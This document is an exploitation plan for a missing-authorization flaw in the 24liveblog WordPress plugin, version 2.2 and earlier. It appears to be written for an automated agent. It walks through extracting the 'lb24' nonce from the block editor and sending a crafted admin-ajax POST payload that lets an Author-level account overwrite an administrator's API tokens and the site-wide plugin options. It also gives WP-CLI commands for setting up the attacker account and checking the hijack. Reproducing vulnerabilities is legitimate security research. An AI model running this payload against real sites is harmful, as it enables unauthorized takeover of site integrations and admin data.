24liveblog <= 2.2 - Missing Authorization to Authenticated (Author+) Settings Modification via update_lb24_token AJAX action

This research plan outlines the steps required to demonstrate the missing authorization vulnerability in the 24liveblog plugin (<= 2.2). An authenticated attacker with Author-level permissions can overwrite sensitive plugin settings for any user (including administrators) and site-wide options.

---

1. Vulnerability Summary

• Vulnerability: Missing Authorization to Authenticated (Author+) Settings Modification.
• Vulnerable Function: update_lb24_token() (AJAX handler).
• Vulnerable Hook: wp_ajax_update_lb24_token.
• Root Cause: The handler update_lb24_token() verifies a nonce (lb24) but fails to perform a capability check (e.g., current_user_can('manage_options')). Furthermore, it accepts a user_id parameter from the request and uses it to update user meta without verifying that the user_id matches the requester's ID.
• Impact: An Author can hijack the 24liveblog integration for the entire site and specifically for administrative users by overwriting API tokens and user identifiers.

2. Attack Vector Analysis

• Endpoint: /wp-admin/admin-ajax.php
• Action: update_lb24_token
• Method: POST
• Authentication: Authenticated, minimum role: Author (any user with access to the block editor).
• Payload Parameters:
  • action: update_lb24_token
  • lb24: The nonce value (extracted from the block editor).
  • user_id: The ID of the target user (e.g., 1 for the primary administrator).
  • token: The new lb24_token.
  • uid: The new lb24_uid.
  • refresh_token: The new lb24_refresh_token.
  • uname: The new lb24_uname.

3. Code Flow (Inferred)

1. Registration: The plugin registers the AJAX action via add_action( 'wp_ajax_update_lb24_token', 'update_lb24_token' ).
2. Nonce Generation: In lb24_block_enqueue_scripts(), the plugin generates a nonce using wp_create_nonce('lb24') and localizes it for use in the Gutenberg block editor.
3. Entry Point: An authenticated user sends a POST request to admin-ajax.php with action=update_lb24_token.
4. Verification: The function update_lb24_token() calls check_ajax_referer('lb24', 'lb24'). This succeeds if the user has access to the block editor (Author+).
5. Sink: The function retrieves $_POST['user_id'] and updates both site options and user meta:
   • update_option('lb24_token', $_POST['token'])
   • update_user_meta($_POST['user_id'], 'lb24_token', $_POST['token'])
   • (Similar updates for lb24_uid, lb24_refresh_token, and lb24_uname).

4. Nonce Acquisition Strategy

The lb24 nonce is localized for the block editor. To obtain it:

1. Login as the Author user.
2. Create/Edit a Post: Navigate to the Gutenberg editor (/wp-admin/post-new.php or edit an existing post).
3. Extract: Use browser_eval to find the localized variable. Based on common plugin patterns and the function name lb24_block_enqueue_scripts, the variable is likely named lb24_data or similar.
   • Target JS: window.lb24_data?.nonce (inferred).
   • Alternative: Search the page source for the string "lb24" within a JSON object.

5. Exploitation Strategy

1. Setup: Create an Author user and identify the Administrator's ID (typically 1).
2. Acquire Nonce:
   • Navigate to the WordPress dashboard as the Author.
   • Create a new post to load the Block Editor.
   • Extract the lb24 nonce from the global JS context.
3. Execute Exploit:
   • Send a POST request to /wp-admin/admin-ajax.php using the http_request tool.
   • Payload:

     action=update_lb24_token&lb24=[NONCE]&user_id=1&token=pwned_token&uid=pwned_uid&refresh_token=pwned_refresh&uname=pwned_name
     

4. Verify Hijack: Check if the site-wide options and the Administrator's meta values have changed.

6. Test Data Setup

1. Admin User: Already exists (ID 1).
2. Author User:

   wp user create attacker attacker@example.com --role=author --user_pass=password
   

3. Post for Context:

   wp post create --post_type=post --post_status=publish --post_title="Nonce Source" --post_author=[ATTACKER_ID]
   

7. Expected Results

• The AJAX request should return a successful response (likely 1 or a JSON success message).
• The WordPress database will now contain the "pwned" values for both the global options and the administrator's specific meta keys.

8. Verification Steps

After the exploit, use WP-CLI to verify the changes:

1. Check Site Options:

   wp option get lb24_token
   wp option get lb24_uid
   

2. Check Admin User Meta:

   wp user meta get 1 lb24_token
   wp user meta get 1 lb24_uid
   

3. Expected Outcome: Both commands should return pwned_token and pwned_uid respectively, proving that the Author modified Admin/Global data.

9. Alternative Approaches

• Site-wide Hijack only: If user_id is somehow validated (unlikely based on the CVE description), the exploit still functions to overwrite site-wide options which controls the plugin's behavior for all visitors.
• Targeting Other Users: The exploit can be repeated with different user_id values to overwrite tokens for every Editor or Admin on the site.
• Parameter Guessing: If the localized object name is not lb24_data, use browser_eval("Object.keys(window).filter(k => k.toLowerCase().includes('lb24'))") to find the correct configuration object.